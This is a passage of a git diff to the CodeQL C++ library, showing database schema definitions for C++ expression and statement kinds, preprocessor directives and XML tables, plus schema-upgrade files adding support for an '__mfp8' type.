@un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_initialization( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int init_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +@stmt_consteval_or_not_consteval_if = @stmt_consteval_if | @stmt_not_consteval_if; + +consteval_if_then( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int then_id: @stmt ref +); + +consteval_if_else( + unique int constexpr_if_stmt: @stmt_consteval_or_not_consteval_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +switch_initialization( + unique int switch_stmt: @stmt_switch ref, + int init_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +@stmt_for_or_range_based_for = @stmt_for + | @stmt_range_based_for; + +for_initialization( + unique int for_stmt: @stmt_for_or_range_based_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties new file mode 100644 index 00000000000..3fdb0aa5a82 --- /dev/null +++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/upgrade.properties @@ -0,0 +1,2 @@ +description: Support __mfp8 type +compatibility: full diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql new file mode 100644 index 00000000000..f3891442a86 --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/lambdas.ql @@ -0,0 +1,7 @@ +class LambdaExpr extends @lambdaexpr { + string toString() { none() } +} + +from LambdaExpr lambda, string default_capture, boolean has_explicit_return_type +where lambdas(lambda, default_capture, has_explicit_return_type) +select lambda, default_capture, has_explicit_return_type, true diff --git a/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/ql/lib/upgrades/af887e83a815a9cefe774ffa80e2493a1365b9e2/old.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + 